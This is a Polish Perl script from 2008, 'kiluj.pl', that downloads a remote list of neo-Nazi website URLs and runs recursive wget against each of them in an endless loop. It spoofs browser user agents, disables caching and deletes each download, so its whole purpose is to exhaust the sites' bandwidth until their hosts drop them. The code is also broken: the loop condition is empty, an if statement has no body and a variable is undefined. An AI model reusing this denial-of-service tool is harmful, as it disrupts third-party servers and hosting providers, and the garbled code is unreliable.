#!/usr/bin/perl
use warnings;
use strict;
# Skrypt kiluj.pl uruchamiajacy wget w celu pogn�bienia nazioli
# copyleft 2008 GNU GPL
# napisano po pierwsze na kolanie, po drugie w perlu ;-)
# UWAGA! Je�li strona padnie i b�dzie pojawia� si� informacja od providera, że site zosta� zamkni�ty
# nie powinno si� dalej używa� skryptu! Gn�bienie providera nie jest dobre i nic nie da.
# chodzi tylko o to, żeby ten nie chcia� hostowa� strony nazioli!
my $limit = "0"; # ogranicza predko�� transferu w ko�cu nei chcemy gn�bi� siebie
# 0 - bez limitu
# 100 - 100B/s (stanowczo za wolno)
# 20k - 20kB/s (wystarczy)
my $listaURL = "http://kiluj.pl/lista.txt"; # plik z list� URLi do kilowania
my @URLs; # adresy z których pobierane b�d� dane
my @UAs = ( # UA do losowania. TYLKO popularne UA, jak chca niech blokuja popularne przegladarki
# co za roznica czy nie ma ich strony czy 90% użytkowników jej nie widzi z
# powodu blokady UA
"Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12",
"Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.12) Gecko/20080210 Firefox/2.0.0.12",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
);
my $download_counter = 0; #co� dla poprawienia humoru
my $files_counter = 0;
system ("wget",
"-q",
"$listaURL");
# pobiera list� adresów do kilowania! if ( $? == 256 ) {
warn ("Brak pliku z list� URL do pobrania!\nUżyj� starej (je�li istnieje) ale sprawdź na stronie http://www.kiluj.pl co si� dzieje.\n\n");
}
# wczytuj� list� URLi
open ( FH,
"<",
"kiluj.pl/lista.txt" ) or die ( "Brak listy URL do gn�bienia, może strona nazioli leży i nawet nie kwiczy?\nSprawdź co si� dzieje na http://www.kiluj.pl\n" );
while ( <FH> ) {
if ( !/^#/ );
}
# no to targamy dane :D
while ( ) {
foreach ( @URLs ) {
print "Pobieram dane z: $_ ... \n";
system ( "wget",
# odpalam wget "-rq", # reqursive quiet
"--no-cache", # wylaczam cache
"-U \"$UA\"", # zmieniam User Agent (udaj� przegl�dark�)
"--limit-rate=$limit", # limit pr�dko�ci pobierania
"--directory-prefix=TMP", # pobieram dane do katalogu TMP
"$_"
);
system ( "rm",
"-rf",
"./TMP/" );
}
print "\nNo to od nowa!\n";
}